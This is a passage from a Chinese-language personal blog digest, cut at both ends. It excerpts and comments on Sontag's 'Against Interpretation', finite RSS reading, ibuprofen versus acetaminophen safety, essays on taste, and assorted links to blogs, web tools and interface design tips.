class="underline">但我们应该抵制阐释《马里昂巴德》的诱惑。</span><span class="underline">在《马里昂巴德》中,真正重要的是其某些影像所具有的纯粹、不可翻译、感官上的直接性,</span>以及它对某些电影形式问题所给出的严谨(尽管狭窄)的解决方案。 </p> <p> 再说一次,英格玛·伯格曼在《沉默》中让坦克在深夜空旷的街道上轰鸣而过,或许是想将其作为阳具的象征。但如果他真是这么想的,那便是一个愚蠢的想法。(「永远不要相信叙述者,要相信故事,」劳伦斯如是说。)如果将坦克视为一个粗粝的客体,视为旅馆内发生的神秘、突发、全副武装的事件在感官上的直接对应,那么坦克出现的那个片段便是影片中最震撼人心的时刻。<span class="underline">那些试图对坦克进行弗洛伊德式解读的人,只不过是在表达他们对银幕上真实呈现的内容缺乏感应。</span> </p> <p> 此类阐释往往表明了对作品的不满(无论是有意识还是无意识的),以及一种想要用别的东西取而代之的愿望。 </p> <p> 阐释基于一种极其可疑的理论,即认为艺术作品是由若干内容要素构成的,这种做法亵渎了艺术。它将艺术变成了一种消耗品,一种可以被随意归入某种心理范畴体系的物件。 </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=6-,It,categories%2E">Source</a> </p> </blockquote> <blockquote> <p> 阐释将艺术作品的感官体验视为理所当然,并以此为起点。但在今天,这已不能被视为理所当然。想想我们每个人都能接触到的艺术作品是何等繁多,再加上城市环境中各种冲突的味觉、嗅觉和视觉对我们感官的轰炸。<span class="underline">我们的文化建立在过剩和生产过剩之上;其结果是我们的感官体验在持续丧失敏锐度。</span><span class="underline">现代生活的所有条件 ⸺ 物质的充盈、极度的拥挤 ⸺ 共同钝化了我们的感官能力。</span>正是要根据我们的感官状态和能力(而非另一个时代的),来评估评论家的任务。 </p> <p> <span class="underline">现在重要的是恢复我们的感官。我们必须学会去观察更多,去聆听更多,去感受更多。</span> </p> <p> <span class="underline">我们的任务不是要在艺术作品中挖掘出最大量的内容,更不是要从作品中榨取比已有内容更多的东西。</span><span class="underline">我们的任务是削减内容,以便我们能看清事物本身。</span> </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=Interpretation%20takes,means%2E">Source</a> </p> </blockquote> <blockquote> <p> 我们需要的是艺术的色情学,而非阐释学。 </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=In%20place%20of%20a%20hermeneutics%20we%20need%20an%20erotics%20of%20art%2E">Source</a> </p> </blockquote> </details> <p> 另見:<a href="https://cyrus19.cc/archives/1858">直接感受</a> by CC </p> <details> <summary>摘录</summary> <blockquote> <p> [&hellip;] 什么叫“直接感受”? </p> <p> 我当时只能仓促地解释:它有点像你看到一幅画,它的色彩落在你的视网膜上时形成的第一波冲击;是某个对象抵达你时,在你脑中留下的第一个印象和感受。它看起来像是“未被加工”的,但其实并不空白。恰恰相反,这种感觉的产生统合了你此前全部的审美、经验、思考和知识库,只是在那一瞬间,它还没有被进一步拆解、命名、分析。而你一旦开始思考、开始解构、甚至只是开始注意到,那种东西就未必还留得住了。 </p> <p> <a href="https://cyrus19.cc/archives/1858#:~:text=%E8%BF%99%E5%85%B6%E5%AE%9E%E6%98%AF,%E4%BA%86,-%E3%80%82">Source</a> </p> </blockquote> <blockquote> <p> 我对“直接感受”的理解,和这种“直击”很像。 </p> <p> 某个东西以完整的、未被分流的、未经转述的、未被解释的信息量,直接轰到你的脑中。 </p> <p> 天然,原初,纯粹,原始,不丢失信息量,光流,轰击。 </p> <p> ——是的,我只能依靠不断叠加词语,用很多个并不完全重合的形容去逼近它。 </p> <p> 也就是说,恰恰是这种最“直接”的东西,常常最难直接传达。我反而必须长篇大论,才能让它尽可能接近我心里那个样子,或者至少接近到“表达”本身让我自己满意的程度。 </p> <p> <a href="https://cyrus19.cc/archives/1858#:~:text=%E5%80%BC%EF%BC%89%E3%80%82-,%E6%88%91,%E7%A8%8B%E5%BA%A6">Source</a> </p> </blockquote> </details> </div> </div> <div id="outline-container-FF319C35-80BD-4CA6-931E-A102E10B4009" class="outline-3"> <h3 id="FF319C35-80BD-4CA6-931E-A102E10B4009"><a href="#FF319C35-80BD-4CA6-931E-A102E10B4009"><a href="https://notes.druchan.com/going-back-to-newspaper-model">Going back to the morning newspaper model</a> by Chandru</a></h3> <div class="outline-text-3" id="text-FF319C35-80BD-4CA6-931E-A102E10B4009"><blockquote> <p> 陆上的人喜欢寻根问底,虚度了大好光阴。冬天忧虑夏天的姗姗来迟,夏天则担心冬天的将至。所以他们不停四处游走,追求一个遥不可及、四季如夏的地方,我并不羡慕。 </p> <p> <span class="underline">所有那些城市,你就是无法看见尽头。</span><span class="underline">尽头?拜托!拜托你给我看它的尽头在哪?</span>当时,站在舷梯向外看还好。我那时穿着大衣,感觉也很棒,觉得自己前途无量,然后我就要下船去。放心!完全没问题!可是,阻止了我的脚步的,并不是我所看见的东西,而是我所无法看见的那些东西。你明白么?我看不见的那些。<span class="underline">在那个无限蔓延的城市里,什么东西都有,可惟独没有尽头。</span><span class="underline">根本就没有尽头。</span><span class="underline">我看不见的是这一切的尽头,世界的尽头。</span> </p> <p> ⸺ <a href="https://movie.douban.com/subject/1292001/">《海上钢琴师》</a> 台词 </p> </blockquote> <p> 訂閱<em>流</em>給人的感覚也是无尽的,每天都有大量新增的信息,看完了目前的信息,一刷新又多了一堆未讀的,像是一个永遠无法標記為完成的待辦項,這種没有盡頭的感覚无形中給人帯來了焦慮感。 </p> <p> <a href="https://www.terrygodier.com/current">Current RSS Reader</a> 的解法是將計数去掉了,讓你忽略数量,這樣你就不会总是想着將未讀記数清空,从而更専注在閱讀上,弱化了清空未讀的 <a href="https://www.terrygodier.com/phantom-obligation">幻影义务</a>。 Current 將訂閱流設計成一条流動的河,內容會基于类型有不同的流速,流走了就消失了。很像這段話描述的狀態: </p> <blockquote> <p> 说到这个,本周早些时候我偶然读到 Oliver Burkeman 在 <i>Meditations for Mortals</i> 中关于积压书单的绝妙建议。 </p> <p> <span class="underline">[&hellip;]把你的待读书单视作一条河流,而非一个水桶。</span><span class="underline">换言之:不要将积压的书单看作一个会逐渐填满 [甚至溢出] 的容器,认为清空它是你的责任;</span><span class="underline">而应视其为从你身边流过的溪流,你只需从中偶尔撷取几本心仪之作,任其余书籍随波而去而不必心怀愧疚。</span> </p> <p> <a href="https://johnrakestraw.com/reading/tracking-my-reading/#:~:text=On%20that%20note,by%20(p.%2029).">Tracking my reading and books on tap</a> by John Rakestraw </p> </blockquote> <p> Current 或許能免除了清空未讀条目的「义务」,但我会担心錯過了一些我可能感兴趣的信息。 </p> <p> 而 Chandru 的解法則是每天生成一份日报,包含當天所有的更新內容,像是一份报紙,限定了一天的閱讀量,只需要看完這份「报紙」就够了,把无尽变成了一天份量的有限。就像看报紙一樣,看完那些感兴趣的,报紙就可以扔一邊了。 </p> <p> 我更傾向 Chandru 的解法,既不怕錯過,也能切断訂閱<em>流</em>,讓其在一天中变得有限,减少了清空未讀的焦慮感。 </p> <p> 另外也推薦看看 <a href="nichijou-6.html#73537C35-2E65-424A-89D3-C1C0F3773D3F">日常#6::订阅流整理</a>。 </p> <details> <summary>摘录</summary> <blockquote> <p> 在正在编写的指南/手册「逃离算法囚笼」中,我谈到了社交媒体「信息流」的这一根本性问题。<span class="underline">它们是无限流。永无止境。你滚动得越多,它就越往下延伸。</span> </p> <p> 这是我们炮制出的最黑暗的设计模式之一。如果你是在早期的互联网环境下长大的,你会记得翻到分页列表末尾的情景。<span class="underline">过去事物是有终点的。现在没有了,终点不再是必然。</span> </p> <p> <span class="underline">尽管有无限的内容可供消费,应用其实可以决定为你「结束」列表。</span><span class="underline">它们可以选择说:「哦,目前就这些了,几小时后再来看看吧,我们会给你展示新内容。」但它们不会这么做。</span> </p> <p> <span class="underline">RSS 订阅源受限于你订阅的数量,但它们仍然设法向你推送看似无穷无尽的流。</span><span class="underline">再加上未读计数,你又回到了数字内容消费无法管理的焦虑之城。</span> </p> <p> [&hellip;] </p> <p> <span class="underline">我们不需要「流」。</span><span class="underline">我们的大脑并非为了处理「流」而进化的。</span>大脑需要休息,如果设计师和开发者关心这一点,应用完全可以设计成另一种方式。 </p> <p> <a href="https://notes.druchan.com/going-back-to-newspaper-model#:~:text=In%20my,way">Source</a> </p> </blockquote> <blockquote> <p> 你是否曾对自己说过,要在周末补完所有未读内容?或者打算在周末处理完所有的家务(打扫、洗衣服、准备餐食)? </p> <p> <span class="underline">我们本质上是在进行「批处理」。事实证明,批处理是应对「信息流」的一剂良药。</span> </p> <p> <span class="underline">这里还有一个类比,对那些伴随着纸质报纸长大的人来说很受用。</span><span class="underline">你还记得拿到晨报,浏览标题并详细阅读其中几条新闻的情景吗?</span><span class="underline">那之后呢?读完就结束了。就是这样。</span><span class="underline">即使你回头再读一点,也会有一种明显的「完成了」的感觉。</span><span class="underline">一种终结感。任务 = 已完成。</span> </p> <p> <a href="https://notes.druchan.com/going-back-to-newspaper-model#:~:text=Have%20you,way">Source</a> </p> </blockquote> </details> </div> </div> <div id="outline-container-D5342803-4979-421C-BEE0-F1158B5699DB" class="outline-3"> <h3 id="D5342803-4979-421C-BEE0-F1158B5699DB"><a href="#D5342803-4979-421C-BEE0-F1158B5699DB"><a href="https://asteriskmag.com/issues/14/the-mystery-in-the-medicine-cabinet">The Mystery in the Medicine Cabinet Dynomight</a> by Asterisk</a></h3> <div class="outline-text-3" id="text-D5342803-4979-421C-BEE0-F1158B5699DB"><p> 在选择退烧止痛藥時,我往往傾向于布洛芬而非对乙酰氨基酚,主要是布洛芬聴得更多,名字簡单更容易記住。 </p> <p> 而作者傾向于布洛芬,是因為对乙酰氨基酚服用多了会对肝脏造成很大负担,一般一天最多可以服用 4 克,如果不小心過量了 (例如 8 克),肝脏可能衰竭,甚至死亡。作者覚得如果 8 克对乙酰氨基酚会毁掉他的肝脏,那么 1 克可能也会对它有很大伤害,而布洛芬過量似乎没有乙酰氨基酚危害大。但作者了解后发現他是錯的,对大多数人在大多数情况下,只要按说明使用,对乙酰氨基酚比布洛芬更安全。 </p> <p> <em>以下部分是我查閱後的一些個人理解,未必都正確,如果你需要選擇藥物,請去諮詢醫生。</em> </p> <p> <b>布洛芬</b> 的止痛核心在於 <b>外周組織</b> 。當身體受傷或發炎時,受損細胞釋放前列腺素等物質,直接刺激痛覺神經末梢。布洛芬在外周強力抑制環氧化酶 (COX),阻斷前列腺素生成,從源頭減少痛覺訊號的產生。 </p> <p> <b>对乙酰氨基酚</b> 則是在 <b>中樞神經</b> 層面 <b>提升疼痛閾值</b> 。它減少大腦和脊髓中的前列腺素,讓大腦對傳來的痛覺訊號「比較不敏感」,但不會阻止外周組織繼續發炎或產生痛覺因子。 </p> <p> 布洛芬在 <b>任何環境</b> 下都能穩定結合 COX 酵素活性位點,無論是在血液、發炎組織或腦部。而对乙酰氨基酚對 COX 的抑制作用會被高濃度過氧化物(如發炎部位)阻斷,因此它在「乾淨」的 <b>中樞神經環境</b> 中才能有效抑制 COX,在外周發炎部位則失去活性。 </p> <p> 布洛芬不僅可以止痛,還可以消炎,但是它作用範圍太廣了,除了對發炎位置起作用,它還會給胃部 (减少胃部黏液)、心臟 (导致更多凝血)、腎臟 (抑制血管擴展的信號) 帶來負擔,如果本身這些位置有問題的話,布洛芬可能會造成進一步的惡化。 </p> <p> 而对乙酰氨基酚主要作用於神經,提高了疼痛閾值,可以止痛,但對消炎用處不大,但也因此它對身體其他部位的影響更小。但過量的对乙酰氨基酚肝臟會無法代謝,造成肝臟衰竭。 </p> <p> 比較反常識的是,既然对乙酰氨基酚會造成肝臟負擔,如果肝臟有問題,那用布洛芬是不是更安全?答案是否定的,有肝病時,血液難以流入肝臟,就會造成血液瘀積,身體為了調節,會讓血管收縮,包括腎臟,而此時腎臟會釋放信號因子去擴大血管,但是布洛芬也會抑制信號因子,導致腎臟缺血,而乙酰氨基酚因為只作用於神經,不作用於全身的抑制,反而更安全。 </p> <p> 所以,對於止痛,如果是神經類的,例如頭痛、牙痛、發燒,<b>安全劑量下</b> 的对乙酰氨基酚會更安全,對身體影響更小;對於非神經類的、涉及到發炎、紅腫的,例如肌肉拉傷、關節炎、痛經、牙齦腫痛等,布洛芬會更有效,但如果本身腸胃有問題的話,布洛芬可能會對腸胃造成更大負擔。 </p> </div> </div> <div id="outline-container-3ECB9543-FAB1-4349-B2CB-1B523993F832" class="outline-3"> <h3 id="3ECB9543-FAB1-4349-B2CB-1B523993F832"><a href="#3ECB9543-FAB1-4349-B2CB-1B523993F832"><a href="https://endler.dev/2026/taste/">On Taste</a> by Matthias Endler</a></h3> <div class="outline-text-3" id="text-3ECB9543-FAB1-4349-B2CB-1B523993F832"><blockquote> <p> 在任何事情上投入足够的时间,你都会对其产生强烈的见解。你会痴迷于细节。而世间万物皆是某些人的痴迷所在。 </p> <p> 运动鞋。机械键盘。咖啡。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=%E5%9C%A8%E4%BB%BB,%E5%92%96%E5%95%A1">Source</a> </p> </blockquote> <p> 這里的投入是要主動投入,穿衣是每天都做的事,但也不是每个人都能把衣服穿出「品味」。主動投入,往往也來自于喜愛,因为喜欢,所以愿意花大量時間去了解,从而产生自己的见解,自己的偏好。 </p> <blockquote> <p> 一旦你开始察觉到这些细微差别,就再也无法视而不见了。你已经形成了强烈的个人偏好。 </p> <p> 但在这个阶段,你只是个有自己看法的人。 </p> <p> 有偏好并不等于有品味。 </p> <p> 要培养良好的品味,你必须能够欣赏自己偏好之外的品质。这需要你看出某件事物是如何通过刻意的选择来表达理念的,并能分辨出这些选择是否真诚。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=Once,quality">Source</a> </p> </blockquote> <p> 每个人都有自己的偏好,我偏好穿宽松的衣服,例如 T恤,但我的穿衣說不上有品味,有品味的穿衣需要关注衣服的材质,搭配等,而我对此关心得不多。品味需要知其然,且知其所以然,喜欢还不够,要知道是什么让自己喜欢,什么樣的让自己讨厌。 </p> <blockquote> <p> 在每一个文化领域,我们最初的品味都处于相对基础的层面,即社会的集体基准 ⸺ 而要将个人品味提升到精妙的境界,需要付出努力。 </p> <p> <a href="https://tracydurnell.com/2025/10/19/the-stages-of-taste/#:~:text=In%20every%20cultural%20discipline%2C%20we%20begin%20at%20a%20relatively%20basic%20level%20of%20taste%2C%20society%E2%80%99s%20collective%20baseline%20%E2%80%94%20and%20it%20takes%20work%20to%20build%20our%20personal%20taste%20to%20a%20sophisticated%20model%2E%C2%A0We%E2%80%99ll">Source</a> </p> </blockquote> <p> 品味是有及格线的,有的品味在大多数人看來都很糟。而在及格线上,只是存在差异,不存在优劣,我更偏好爵士樂,你更偏好搖滾,都好,而有的粗制滥造的音樂是谈不上什么品味的。 </p> <blockquote> <p> 在今天,培养独特的品味变得更加困难。我们被信息流和算法包围,它们只向我们展示我们已经喜欢的东西。如果不接触那些我们不喜欢的东西,我们就无法发现那些我们真正热爱的东西。 </p> <p> 如果我们变得过于安逸,就会完全停止培养品味。我们的偏好会变得狭隘而浅薄。我们只是喜欢大家都在喜欢的东西,却说不出理由。 </p> <p> 出路在于去在意某些东西。任何东西都可以!在意到让它成为你自我的一部分。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=It%E2%80%99s%20harder,about">Source</a> </p> </blockquote> <p> 形成品味需要大量的接触相关領域,既接触好的,也接触差的;形成品味需要去在意、去痴迷、去热愛。 </p> <details> <summary>摘录</summary> <blockquote> <p> 在任何事物上投入足够的时间,你就会对它产生强烈的见解。你会对细节变得痴迷。而任何事物都是某人的心头好。 </p> <p> 运动鞋。机械键盘。咖啡。 </p> <p> [&hellip;] </p> <p> 一旦你开始察觉到这些细微差别,就再也无法视而不见了。你已经形成了强烈的个人偏好。 </p> <p> 但在这个阶段,你只是个有自己看法的人。 </p> <p> 有偏好并不等于有品味。 </p> <p> 要培养良好的品味,你必须能够欣赏自己偏好之外的品质。这需要你看出某件事物是如何通过刻意的选择来表达理念的,并能分辨出这些选择是否真诚。 </p> <p> 良好的品味植根于背景之中。它需要你了解事物背后的历史和工艺。否则,你就会与品质擦肩而过。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=Spend,you,-%2E">Source</a> </p> </blockquote> <blockquote> <p> 良好的品味和专业知识就像是兄弟姐妹。两者都源于深切的关注。两者都需要知道事物为什么起作用。两者都要求意识到每一个决定所带来的影响。 </p> <p> 但它们并不相同。品味是一种鉴赏力。你可能对某样东西很有品味,但自己却做不出来。专业知识则关乎创造。无论你有没有品味,你都可以成为某个领域的专家。 </p> <p> 有趣的是,这两者往往相辅相成。有品味的人非常在意细节,以至于他们最终会开始自己动手制作。而关心自己手艺的专家,往往也会在不知不觉中培养出品味。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=Good%20taste%20and,byproduct">Source</a> </p> </blockquote> <blockquote> <p> 买苹果设备并不意味着你品味好。数以百万计的人都拥有它们。对许多人来说,它只是一个身份象征。 </p> <p> [&hellip;] </p> <p> 事实上,有品味的人通常会避开品牌。品牌正是扼杀伟大产品的元凶。 </p> <p> [&hellip;] </p> <p> 大多数产品都是为普通消费者打造的,所以大多数产品都满足于平庸的质量。 </p> <p> [&hellip;] </p> <p> 品牌不在乎质量或诚实。它们只在乎钱。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=Buying%20an%20Apple%20device%20doesn%E2%80%99t%20mean%20you%20have%20good%20taste%2E">Source</a> </p> </blockquote> <blockquote> <p> 出路在于去在乎某些事物。任何事物都可以!在乎到它成为你自身的一部分。 </p> <p> 每个人都应该至少有一件自己非理性痴迷的事情。一件他们了如指掌的事情。这会造就更有趣的个性。更丰富的人生。 </p> <p> 人类通过共同的痴迷来社交。我们因为意式浓缩咖啡研磨机和摩托车而建立联系。突然之间,你就能和一个陌生人产生共鸣。 </p> <p> 当你为他人创作时,你的品味就会显现出来。它展示了你是谁以及你在乎什么。这很可怕。但这正是你找到同类的方式。 </p> <p> <a href="https://endler.dev/2026/taste/#:~:text=The%20way,people">Source</a> </p> </blockquote> </details> <p> 另見:<a href="https://tracydurnell.com/2025/10/19/the-stages-of-taste/">The stages of taste</a> by Tracy Durnell </p> <details> <summary>摘录</summary> <blockquote> <p> 「有品味」从广义上说,意味着你对文化作品中的价值有着自己的见解。 </p> <p> <a href="https://tracydurnell.com/2025/10/19/the-stages-of-taste/#:~:text=%E2%80%9CHaving%20taste%E2%80%9D%20broadly%20means%20that%20you%20have%20theories%20about%20what%E2%80%99s%20valuable%20in%20cultural%20works">Source</a> </p> </blockquote> <blockquote> <p> 在每一个文化领域,我们最初的品味都处于相对基础的层面,即社会的集体基准 ⸺ 而要将个人品味提升到精妙的境界,需要付出努力。 </p> <p> <a href="https://tracydurnell.com/2025/10/19/the-stages-of-taste/#:~:text=In%20every%20cultural%20discipline%2C%20we%20begin%20at%20a%20relatively%20basic%20level%20of%20taste%2C%20society%E2%80%99s%20collective%20baseline%20%E2%80%94%20and%20it%20takes%20work%20to%20build%20our%20personal%20taste%20to%20a%20sophisticated%20model%2E%C2%A0We%E2%80%99ll">Source</a> </p> </blockquote> <blockquote> <p> 在某一流派或媒介中培养深厚的品味意味着要定义我们自己的经典 ,决定哪些文化作品是某一领域的核心贡献、哪些对电影、书籍、服装、音乐具有价值。 </p> <p> <a href="https://tracydurnell.com/2025/10/19/the-stages-of-taste/#:~:text=Developing%20deep%20taste%20in%20a%20genre%20or%20medium%20means%20defining%20our%20own%20canon%2C%C2%A0deciding%20which%20cultural%20works%20are%20essential%20contributions%20to%20a%20field%2C%20what%20is%20valuable%20to%20movies%2C%20books%2C%20clothes%2C%20music%2E">Source</a> </p> </blockquote> </details> </div> </div> <div id="outline-container-58208D30-40AC-428B-BC05-09A8134BB59D" class="outline-3"> <h3 id="58208D30-40AC-428B-BC05-09A8134BB59D"><a href="#58208D30-40AC-428B-BC05-09A8134BB59D">Others</a></h3> <div class="outline-text-3" id="text-58208D30-40AC-428B-BC05-09A8134BB59D"><ul class="org-ul"> <li><a href="https://taonaw.com/2026/04/17/what-makes-a-good-blog.html">What makes a good blog good?</a> by The Art Of Not Asking Why</li> <li><a href="https://www.dannyguo.com/blog/why-i-blog">Why I Blog</a> by Danny Guo</li> <li><a href="https://rscottjones.com/some-thoughts-on-killing-your-blogroll/">Some thoughts on killing your blogroll</a> by rscottjones</li> <li><p> <a href="https://www.geedea.pro/article/honest-machine/">「诚实」的机器</a> by Eltrac </p> <p> 多點同情心。 </p></li> <li><a href="https://blog.cytrogen.icu/posts/b984.html">关于 Stallman 报告</a> by Cytrogen</li> <li><a href="https://chlo.is/hello-theseus/">Hello, Theseus</a> by Chlorine</li> <li><a href="https://www.wen-lab.tw/blogblog-productivity-review/">BlogBlog 同樂會回顧:「生產力」的 102 種面向</a> by Wen</li> <li><p> <a href="https://jamesg.blog/2026/05/07/writing-a-blog-post-without-a-screen">Writing a blog post without a screen</a> by James </p> <p> 中文輸入法容易出現重碼,不用屏幕盲打估計不太行。 </p></li> <li><p> <a href="https://forkingmad.blog/hey-you-start-communicating/">Hey you, start communicating!</a> by David </p> <p> Hey,給我寫邮件打个招呼吧。(有時我也不知道回些什麼,但也希望能有一些交流。) </p></li> <li><p> <a href="https://forkingmad.blog/who-knows-that-you-blog/">Who knows that you blog?</a> by David </p> <p> 你会告訴你身邊的人你的博客嗎? </p> <p> 既然博客是公開的,本身也没啥需要隱藏的,但我還是想盡可能匿名,這樣表達時頋慮更少,被熟悉的人看到博客會有點不好意思,或許是博客里有平時面對熟人不展露的一面。 </p></li> <li><p> <a href="https://blog.solazy.me/20260513/">创作、交易与精神独立</a> by Sol </p> <p> 對我來說博客很难做到只為自己而寫,或許只有日記能這樣。寫博客的時候多多少少都預設了讀者,多多少少也会受到一些影响,虽說没几个人看我也会繼續寫,但還是会在意有没有人看。目前寫博客覚得难,更多還是表達上有些卡頓,要多看多想多練。 </p> <p> 另見:<a href="47.html#1D96572D-063C-468E-851E-2D1F0B136ECD">Zine#47::Re: how are you fearless and how do you deal with anxiety? by Protesilaos Stavrou</a> </p></li> <li><a href="https://www.chenrui.com/post/3491.html">猫与乡野</a> by 响石潭</li> <li><a href="https://hamatti.org/posts/a-love-letter-to-our-library-bus/">A love letter to our library bus</a> by Juha-Matti Santala</li> <li><a href="https://www.parkerchang.life/life/save-point-update">存檔點更新</a> by Parker Chang</li> <li><p> <a href="https://precondition.github.io/home-row-mods">A guide to home row mods</a> by Precondition </p> <p> 使用 asdfghjkl 這一行替代 ctrl、alt、shift 等修飾鍵,如果用小拇指按 ctrl 太累了,不妨試試。 </p> <p> 另見: </p> <ul class="org-ul"> <li><a href="https://blog.southfox.me/2026/05/fox-thinking-28/index.html">FoxThinking #28: 解决之道,就在其中</a></li> <li><a href="https://protesilaos.com/codelog/2026-05-04-emacs-keyboard-ergonomics/">Re: Emacs and keyboard ergonomics</a> by Protesilaos <ul class="org-ul"> <li><a href="https://github.com/jtroo/kanata">jtroo/kanata</a></li> </ul></li> </ul></li> <li><p> <a href="https://thienantran.com/talking-to-35-strangers-at-the-gym/">Talking to 35 Strangers at the Gym</a> by Thienan Tran </p> <blockquote> <p> 处于尴尬的境地其实并没那么糟。那一刻确实很难受,但随后你只需花几分钟冷静下来,然后继续你的生活。你会没事的。 </p> <p> <a href="https://thienantran.com/talking-to-35-strangers-at-the-gym/#:~:text=And%20being%20in%20an%20awkward%20situation%20is%20actually%20not%20that%20bad%2E%20It%20sucks%20in%20the%20moment%2C%20but%20then%20you%20just%20take%20a%20few%20minutes%20to%20calm%20down%20and%20then%20you%20move%20on%20with%20your%20life%2E%20You%E2%80%99re%20ok">Source</a> </p> </blockquote></li> <li><p> <a href="https://tastecooking.com/i-want-to-live-like-costco-people/">I Want to Live Like Costco People</a> by Jordan Michelman </p> <blockquote> <p> 人生的每个阶段都可以在 Costco 采购。还有哪里能同时买到婚戒 、婴儿背带和棺材?它伴随你的人生轨迹 —— 在有房前后、在有孩子前后,人们对 Costco 的体验截然不同。 </p> <p> <a href="https://tastecooking.com/i-want-to-live-like-costco-people/#:~:text=Every%20phase,child%2E">Source</a> </p> </blockquote></li> <li><a href="https://zhangke.space/%E6%8B%8D%E6%91%84%E4%B8%80%E6%AC%A1%E5%BD%97%E6%98%9F/">拍摄一次彗星</a> by 张可</li> <li><a href="https://blog.douchi.space/cardio-101">有氧从放弃到入门</a> by 椒盐豆豉</li> </ul> </div> </div> </div> <div id="outline-container-96D3D9CC-952F-4A17-9014-FB80E1DF8114" class="outline-2"> <h2 id="96D3D9CC-952F-4A17-9014-FB80E1DF8114"><a href="#96D3D9CC-952F-4A17-9014-FB80E1DF8114">Cool Bit</a></h2> <div class="outline-text-2" id="text-96D3D9CC-952F-4A17-9014-FB80E1DF8114"><ul class="org-ul"> <li><p> <a href="https://512kb.club/">The 512KB Club</a> </p> <blockquote> <p> 互联网已经变得臃肿不堪。庞大的 JavaScript 库、无数的客户端查询以及过度复杂的前端框架在如今已是家常便饭。 </p> <p> 当像《纽约时报》这样受欢迎的网站大小达到数 MB(其中近 50% 是 JavaScript!)时,你就知道出问题了。<span class="underline">为什么网站需要这么大?这简直不可理喻。</span> </p> <p> [&hellip;] </p> <p> 512KB 俱乐部是一个汇集了互联网上注重性能的网页集合。要符合加入资格,你的网站必须同时满足以下要求: </p> <ol class="org-ol"> <li>它必须是一个包含合理信息量的实际网站,而不仅仅是页面上的几个链接。</li> <li>您的<em>未压缩</em>网络资源总量不得超过 512KB。</li> </ol> </blockquote> <p> 网站提供了兩个链接用于測試,可以基于測試結果去优化你的网站: </p> <ul class="org-ul"> <li><a href="https://www.debugbear.com/test/page-size-checker?device=desktop">DebugBear: Website Page Size Checker</a></li> <li><a href="https://radar.cloudflare.com/scan">Cloudflare URL Scanner</a></li> </ul> <p> 通過 DebugBear 的报告我也优化了一些首頁問題,加載应该会更快一些。 </p></li> <li><p> <a href="https://www.v2ex.com/t/1212362">我的 GPT 女友,看看你们的?</a> </p> <p> 相同的 prompt,結果的差异不大,或許是 LLM 趋向給平均結果吧。 </p> <p> Prompt: </p> <blockquote> <p> ChatGPT,你陪我段时间了,我想看看你的样子。请成一张类似你 iPhone 随拍的照:没有明确主题、没有刻意构图,只是很普通、甚至有点失败的快照。照略带运动模糊,光线不均、轻微曝光过度,角度尴尬,构图混乱,整体呈现出一种“过于真实的随手一拍感”,就像是从口袋里拿出手机不小心按到的自拍。 </p> </blockquote></li> <li><p> <a href="https://agentank.ai/">Agent-driven tank battles</a> </p> <p> 用 agent 驅動的坦克大战,使用 markdown 編寫战斗策略让 agent 执行。 </p></li> <li><p> <a href="https://github.com/orhun/ratty">orhun/ratty</a> </p> <p> A GPU-rendered terminal emulator with inline 3D graphics. </p></li> <li><p> <a href="https://brand.gensyn.ai/">Brand Tool</a> </p> <p> 給图片添加抖動 (Dither)、像素化等效果,可惜不能用自己的图。类似的效果可以用 <a href="https://imagemagick.org">ImageMagick</a> 或 <a href="https://sharp.pixelplumbing.com/api-composite/">sharp</a> 實現,另見 <a href="https://ege.celikci.me/blog/music-page/">how did I make the music page.</a> 。 </p></li> </ul> </div> </div> <div id="outline-container-FB3BC1D9-D1D5-440C-A30A-3FB83983626F" class="outline-2"> <h2 id="FB3BC1D9-D1D5-440C-A30A-3FB83983626F"><a href="#FB3BC1D9-D1D5-440C-A30A-3FB83983626F">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-FB3BC1D9-D1D5-440C-A30A-3FB83983626F"></div> <div id="outline-container-677DCF73-0E02-4F5A-BC08-031EB58D3381" class="outline-3"> <h3 id="677DCF73-0E02-4F5A-BC08-031EB58D3381"><a href="#677DCF73-0E02-4F5A-BC08-031EB58D3381"><a href="https://jakub.kr/writing/details-that-make-interfaces-feel-better">Details that make interfaces feel better</a> by Jakub Krehel</a></h3> <div class="outline-text-3" id="text-677DCF73-0E02-4F5A-BC08-031EB58D3381"><ul class="org-ul"> <li>當有內外 border radius 時,遵循 <code>outer radius = inner radius + padding</code> ,看起來會更和協。</li> <li><p> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/font-smooth">font-smooth CSS property</a> 可以讓文字更平滑,使文字看起來更細,从而和粗體對比更明显。 </p> <figure> <a href="images/zine/49/font-smooth.webp"><img src="images/zine/49/font-smooth.webp" alt="font-smooth.webp"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>右側是設置了 font-smooth: antialiased; 的效果。</figcaption> </figure> <p> 这也有弊端,在某些字體下会显得太細,看着轻飄飄的。 </p></li> </ul> <p> 還有一些関於動画、視覚對齐、边框的建議。 </p> </div> </div> <div id="outline-container-A19792AC-D79C-43FB-8B03-3F8B4F73AB5A" class="outline-3"> <h3 id="A19792AC-D79C-43FB-8B03-3F8B4F73AB5A"><a href="#A19792AC-D79C-43FB-8B03-3F8B4F73AB5A">Others</a></h3> <div class="outline-text-3" id="text-A19792AC-D79C-43FB-8B03-3F8B4F73AB5A"><ul class="org-ul"> <li><p> <a href="https://git-send-email.io/">email + git = &lt;3</a> </p> <p> 使用 git 和 email 发送 patch。 </p></li> <li><p> <a href="https://designsurface.dev/cascade">Cascade</a> </p> <p> 一套用于頁面设计的 icon,包括对齐、字号、边距等相关的 icon。 </p></li> <li><p> <a href="https://www.thenodebook.com/">NODEBOOK</a> </p> <p> Master the Node.Js Internals. </p></li> </ul> </div> </div> </div> <div id="outline-container-15020A76-7E91-40AD-A880-7C4BC1192495" class="outline-2"> <h2 id="15020A76-7E91-40AD-A880-7C4BC1192495"><a href="#15020A76-7E91-40AD-A880-7C4BC1192495">Code Related</a></h2> <div class="outline-text-2" id="text-15020A76-7E91-40AD-A880-7C4BC1192495"></div> <div id="outline-container-080A86DB-A41A-4D90-A852-8D1958177756" class="outline-3"> <h3 